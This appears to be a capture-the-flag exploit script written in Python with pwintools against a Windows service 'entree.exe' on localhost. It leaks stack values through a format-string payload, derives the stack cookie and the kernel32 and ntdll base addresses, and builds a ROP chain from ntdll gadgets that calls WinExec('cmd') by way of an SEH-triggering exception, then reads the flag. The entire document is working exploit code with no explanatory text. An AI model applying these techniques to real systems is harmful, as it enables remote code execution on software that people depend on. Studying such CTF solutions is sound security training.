from pwintools import *

k32 = PE(r'C:\Windows\SysWOW64\kernel32.dll')
DEBUG = False
if DEBUG:
    p = Process('./entree.exe')
    log.info('pid: 0x{:x}'.format(p.pid))
    #p.spawn_debugger(x96dbg = True)
    #p.timeout = 1000000
else:
    p = Remote('localhost', 12345)

def send(p, length, payload, do_send = True, do_recv = True):
    p.recvuntil('number of bytes: ')
    p.sendline(str(length))
    assert(do_send or not do_recv)
    if do_send:
        p.recvuntil('Enter data: ')
        p.send(payload)
    if do_recv:
        return p.recvuntil('\r\nEnter ', True)

payload = '|'.join(['p%']*0x20)
stack_dump = list(map(lambda x: int(x, 16), send(p, len(payload), payload).split('|')))

main_ebp = stack_dump[4] - 0x48
log.info('ebp@main: 0x{:08x}'.format(main_ebp))
printf_first_arg = main_ebp - 0x10
security_cookie = stack_dump[3] ^ main_ebp
log.info('___security_cookie: 0x{:08x}'.format(security_cookie))
code_base = stack_dump[5] - 0x1738
assert(code_base & 0xffff == 0)
log.info('code base: 0x{:08x}'.format(code_base))
peb = stack_dump[12]
log.info('PEB: 0x{:08x}'.format(peb))
seh_record_0 = main_ebp + 0x38
seh_record_1 = stack_dump[18]
assert(seh_record_1 == main_ebp + 0x94)
log.info('&SEH_Record[0]: 0x{:08x}'.format(seh_record_0))
log.info('&SEH_Record[1]: 0x{:08x}'.format(seh_record_1))
k32_base = stack_dump[23] - (k32.symbols['BaseThreadInitThunk'] + 0x24)
assert(k32_base & 0xffff == 0)
log.info('kernel32.dll base: 0x{:08x}'.format(k32_base))
ntdll_base = stack_dump[28] - 0x641C8  # offset of ntdll!__RtlUserThreadStart + 0x2f
assert(ntdll_base & 0xffff == 0)
log.info('ntdll.dll base: 0x{:08x}'.format(ntdll_base))


"""
ntdll.dll base: 0x4b280000
0x4b2992a4 : sub esp, dword ptr [edi + eax] ; sahf ; ret
0x4b2b10b4 : pop edi ; ret
0x4b2a7beb : xor eax, eax ; ret
0x4b2817ad : ret
"""

pop_edi_ret = 0x4b2b10b4 - 0x4b280000 + ntdll_base
xor_eax_ret = 0x4b2a7beb - 0x4b280000 + ntdll_base
ret = 0x4b2817ad - 0x4b280000 + ntdll_base
sub_esp_ret = 0x4b2992a4 - 0x4b280000 + ntdll_base

# WinExec('cmd', 10) -> infinite loop
rop_first = main_ebp - 0x10
payload  = p32(k32_base + k32.symbols['WinExec']) + p32(ret) + p32(rop_first + 0x20) + p32(10)
payload += p32(pop_edi_ret) + p32(rop_first + 0x24)
payload += p32(xor_eax_ret)
payload += p32(sub_esp_ret)
payload += 'cmd\0' + p32(4)
rop_last = rop_first + len(payload) - 0x4
# write ROP chain, stack buffer under-run causing exception, cleanup remaining payload, then trigger ROP
send(p, rop_last + 4, payload[::-1] + ' '*(rop_last - len(payload)) + '0\r\n ', True, False)

p.recvuntil('>')
p.sendline('type flag')
p.recvline()
print(p.recvline(False))